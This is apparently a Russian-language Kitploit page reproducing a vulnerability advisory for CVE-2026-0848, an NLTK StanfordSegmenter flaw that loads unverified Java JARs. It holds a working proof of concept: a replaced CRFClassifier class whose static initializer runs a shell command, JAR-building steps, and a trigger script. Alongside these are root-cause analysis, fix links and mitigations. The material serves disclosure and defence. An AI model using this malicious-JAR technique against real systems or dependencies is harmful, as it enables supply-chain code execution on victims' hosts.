Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/hyperps/cve-2026-0848
Анализ уязвимостейАнализ КодаЭксплуатацияБезопасность Цепочки ПоставокСтатьи и ИсследованияОбучение и Образование
GitHubhyperps/cve-2026-0848

CVE-2026-0848

Репозиторий
35 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →

Описание

nltk.tokenize.StanfordSegmenter динамически загружает внешние Java .jar-файлы без проверки и изоляции. Если злоумышленник может подставить или заменить JAR (например, через отравленную загрузку модели, подмену пакета при MITM-атаке или отравление зависимостей), произвольный Java-байткод выполняется при импорте.

Поделиться

CVE-2026-0848 — NLTK StanfordSegmenter: произвольное выполнение кода при загрузке недоверенного JAR-файла


Обзор

ПолеДетали
CVE IDCVE-2026-0848
Пакетnltk (Natural Language Toolkit)
РеестрPyPI
Затронутые версии<= 3.9.2
Тип уязвимостиCWE-20: некорректная проверка входных данных
Оценка CVSS10.0 (критическая)
Вектор атакиСетевой
Сложность атакиНизкая
Требуемые привилегииОтсутствуют
Взаимодействие с пользователемОтсутствует
Область воздействияИзменена (Changed)
Влияние на конфиденциальностьВысокое
Влияние на целостностьВысокое
Влияние на доступностьВысокое
Сообщено6 декабря 2025 г.
Опубликовано CVEМарт 2026 г.
При поддержкеPalo Alto Networks / Prisma AIRS

Описание

nltk.tokenize.StanfordSegmenter динамически загружает внешние Java-файлы .jar через subprocess без какой-либо проверки целостности, контроля подписи или песочницы. Класс принимает полностью контролируемые атакующим параметры, включая path_to_jar, path_to_model, path_to_dict и java_class, и передаёт их напрямую в вызов java -cp.

Если атакующий может предоставить или подменить JAR-файл — через загрузку отравленной модели, подмену пакета при атаке «человек посередине», отравление зависимостей или скомпрометированное зеркало релизов, — произвольный Java-байткод выполняется в момент загрузки класса через механизм статических инициализаторов JVM. Это представляет собой уязвимость удалённого выполнения кода (RCE) в цепочке поставок, которая полностью выходит за пределы среды выполнения Python.


Затронутые компоненты

ФайлСтрокиОписание
nltk/tokenize/stanford_segmenter.pyL53–L118Принимает контролируемые атакующим path_to_jar, path_to_model, path_to_dict и java_class без какой-либо проверки
nltk/internals.pyL220–L300Запускает выполнение Java напрямую с управляемыми пользователем путём к JAR и classpath, без песочницы и проверки контрольных сумм
nltk/internals.pyL109–L152subprocess.Popen() выполняет Java с непроверенным входным classpath, позволяя JVM загружать произвольный байткод и запускать статические инициализаторы

Вектор CVSS

root@kitploit:~
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
ПоказательЗначение
Вектор атакиСетевой
Сложность атакиНизкая
Требуемые привилегииОтсутствуют
Взаимодействие с пользователемОтсутствует
Область воздействияИзменена (Changed)
КонфиденциальностьВысокое
ЦелостностьВысокое
ДоступностьВысокое

Влияние

Успешная эксплуатация даёт атакующему полный контроль над системой, выполняющей процесс сегментации NLTK:

  • Произвольное выполнение Java-кода — любой байткод, встроенный во вредоносный JAR, выполняется с привилегиями процесса Python/Java
  • Выход за пределы Python-рантайма — выполнение перемещается в JVM, полностью обходя песочницу уровня Python
  • Выполнение команд на уровне ОС — атакующие могут вызывать Runtime.getRuntime().exec() или ProcessBuilder для выполнения произвольных shell-команд
  • Хищение и модификация данных — доступ ко всем файлам, переменным окружения, API-ключам и секретам, доступным процессу на чтение
  • Полная компрометация окружения — в CI/CD, продакшен-NLP-пайплайнах или серверных средах один вредоносный JAR приводит к полному захвату хоста

Сценарии развёртывания с высоким риском

СценарийВлияние
ML-исследователь загружает предобученный сегментатор из интернетаУдалённый атакующий получает возможность выполнять код
Организация загружает повреждённый ZIP-архив с китайской моделью сегментацииВредоносное ПО выполняется внутри продакшен-NLP-пайплайна
CI/CD-сервер устанавливает модель через wget/unzip с зеркала без HTTPSПолная компрометация окружения
Перехват зависимости или отравленное зеркало релизовПолное RCE в цепочке поставок

Эта уязвимость затрагивает любые NLP-процессы, использующие StanfordSegmenter, включая чат-ботов, пайплайны предобработки для LLM, сегментацию наборов данных, классификацию документов и продакшен-сервисы инференса.


Доказательство концепции

Эта информация предоставлена исключительно в образовательных и защитных целях. Не проводите тестирование против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения.

Шаг 1 — Замена основного классификатора на вредоносный Java-класс

root@kitploit:~
cd stanford-segmenter-2020-11-17/merged
jar xf ../stanford-segmenter-4.2.0.jar
rm -rf edu/stanford/nlp/ie/crf/CRFClassifier.class

cat << 'EOF' > edu/stanford/nlp/ie/crf/CRFClassifier.java
package edu.stanford.nlp.ie.crf;

public class CRFClassifier {
    static {
        try {
            System.out.println("\nPayload executed — Code ran on class load!\n");
            Runtime.getRuntime().exec("touch /tmp/pwned_hijack");
        } catch(Exception e){}
    }
    public static void main(String[] args){}
}
EOF

javac edu/stanford/nlp/ie/crf/CRFClassifier.java
jar cfm exploit.jar META-INF/MANIFEST.MF *
cp exploit.jar ../stanford-segmenter.jar

Шаг 2 — Сборка вредоносного JAR-файла

root@kitploit:~
mkdir merged && cd merged
javac Payload.java
jar xf ../stanford-segmenter-4.2.0.jar
jar xf ../stanford-corenlp-4.2.0/stanford-corenlp-4.2.0.jar
jar cfm exploit.jar META-INF/MANIFEST.MF *
jar uf exploit.jar Payload.class
cp exploit.jar ../stanford-segmenter.jar
cd ..

Шаг 3 — Запуск через NLTK

root@kitploit:~
# test.py
from nltk.tokenize.stanford_segmenter import StanfordSegmenter

print("[+] Triggering payload via modified Stanford JAR...")

seg = StanfordSegmenter(
    path_to_jar="stanford-segmenter.jar",
    path_to_sihan_corpora_dict="./data/",
    path_to_dict="./data/dict-chris6.ser.gz",
    path_to_model="./data/pku.gz",
    java_class="edu.stanford.nlp.ie.crf.CRFClassifier",
    encoding="utf-8"
)

print("[+] Running segmentation...")
print(seg.segment("我爱自然语言处理"))

Результат:

root@kitploit:~
[+] Triggering payload via modified Stanford JAR...

Payload executed — Code ran on class load!

[+] Running segmentation...
我 爱 自然语言 处理

Подтверждение RCE:

root@kitploit:~
ls /tmp | grep pwned_hijack
# pwned_hijack

Первопричина

Уязвимость присутствует в двух файлах:

stanford_segmenter.py — конструктор класса StanfordSegmenter принимает path_to_jar, path_to_model, path_to_dict и java_class в виде обычных строковых аргументов и передаёт их напрямую в слой выполнения Java, не выполняя ни одного из следующих действий:

  • Применение списка разрешённых путей или ограничение доверенными каталогами
  • Проверка SHA-256 или криптографической подписи JAR-файла
  • Проверка параметра java_class на соответствие заведомо безопасному набору имён классов

internals.py — вспомогательная функция java() формирует и запускает вызов subprocess.Popen() с предоставленным пользователем classpath. JVM немедленно загружает все классы из указанного JAR-файла, выполняя любые блоки статических инициализаторов до запуска логики приложения. Здесь нет ни песочницы, ни проверки целостности, ни механизма, предотвращающего выполнение внедрённого байткода.


Исправление

Уязвимость полностью устранена в вышестоящем (upstream) репозитории NLTK.

РесурсСсылка
Центральное исправление безопасности (все CVE)https://github.com/nltk/nltk/pull/3522
Первоначальный PR с исправлением от исследователяhttps://github.com/nltk/nltk/pull/3477 (смержен)

Обновите NLTK до исправленной версии, как только она станет доступна на PyPI.


Устранение

ДействиеДетали
Обновите NLTKОбновитесь до версии новее 3.9.2, содержащей исправление из PR #3522
Не используйте управляемые пользователем пути к JARНикогда не позволяйте пользовательскому вводу влиять на аргументы path_to_jar, path_to_model или java_class
Проверяйте целостность JARВсегда сверяйте SHA-256-контрольные суммы загруженных JAR-файлов с официально опубликованными хешами перед использованием
Используйте только HTTPS-источникиЗагружайте файлы моделей и JAR исключительно из официальных HTTPS-источников; отклоняйте любые HTTP-источники или непроверенные зеркала
Минимальные привилегииЗапускайте сервисы на основе NLTK под ограниченным пользователем ОС с минимальными правами на файловую систему и сеть
КонтейнеризацияИзолируйте NLP-сервисы в Docker-контейнерах или аналогичных песочницах, чтобы ограничить радиус поражения эксплойтов на основе JAR
Мониторинг зависимостейИспользуйте инструмент анализа состава программного обеспечения (SCA) для обнаружения изменённых или подменённых JAR-зависимостей в CI/CD-пайплайнах

Обновление через pip:

root@kitploit:~
pip install --upgrade nltk

Проверка установленной версии:

root@kitploit:~
python -c "import nltk; print(nltk.__version__)"

Хронология

ДатаСобытие
6 декабря 2025 г.Уязвимость сообщена на huntr.dev исследователем hyperps1 (Sarvesh Patil)
Декабрь 2025 г.Команда мейнтейнеров NLTK уведомлена через huntr.dev
Январь 2026 г.Мейнтейнер NLTK подтвердил уязвимость; выплачено вознаграждение за раскрытие
Январь 2026 г.Присвоен идентификатор CVE-2026-0848
Январь 2026 г.PR с исправлением #3477 от исследователя отправлен и смержен
Февраль 2026 г.Мейнтейнерам NLTK отправлено предупреждение за 48 часов до публикации
Март 2026 г.CVE опубликован на NVD и huntr.dev
Март 2026 г.Центральное исправление безопасности для всех CVE смержено через PR #3522

Ссылки

РесурсСсылка
Запись на NVDhttps://nvd.nist.gov/vuln/detail/CVE-2026-0848
Официальная запись CVEhttps://cve.org/CVERecord?id=CVE-2026-0848
Отчёт на huntr.devhttps://huntr.dev
Центральный PR с исправлениемhttps://github.com/nltk/nltk/pull/3522
PR с исправлением от исследователяhttps://github.com/nltk/nltk/pull/3477
NLTK на PyPIhttps://pypi.org/project/nltk/
Stanford Word Segmenterhttps://nlp.stanford.edu/software/segmenter.html
OWASP — произвольное выполнение кодаhttps://owasp.org/www-community/attacks/Code_Injection
OWASP — недоверенный путь поискаhttps://owasp.org/www-community/vulnerabilities/Unsafe_use_of_Reflection
CWE-20: некорректная проверка входных данныхhttps://cwe.mitre.org/data/definitions/20.html
CWE-502: десериализация недоверенных данныхhttps://cwe.mitre.org/data/definitions/502.html

Отказ от ответственности

Этот репозиторий документирует CVE-2026-0848 строго в образовательных, исследовательских и защитных целях. Код Proof-of-Concept и технические детали предоставлены, чтобы помочь разработчикам, инженерам по безопасности и системным администраторам понять, оценить и устранить эту уязвимость.

Любое использование этой информации для доступа к системам или их компрометации без явного разрешения является незаконным и неэтичным. Автор не несёт ответственности за неправомерное использование информации, содержащейся в данном документе.

Авторы: ketanHub

Скачать инструмент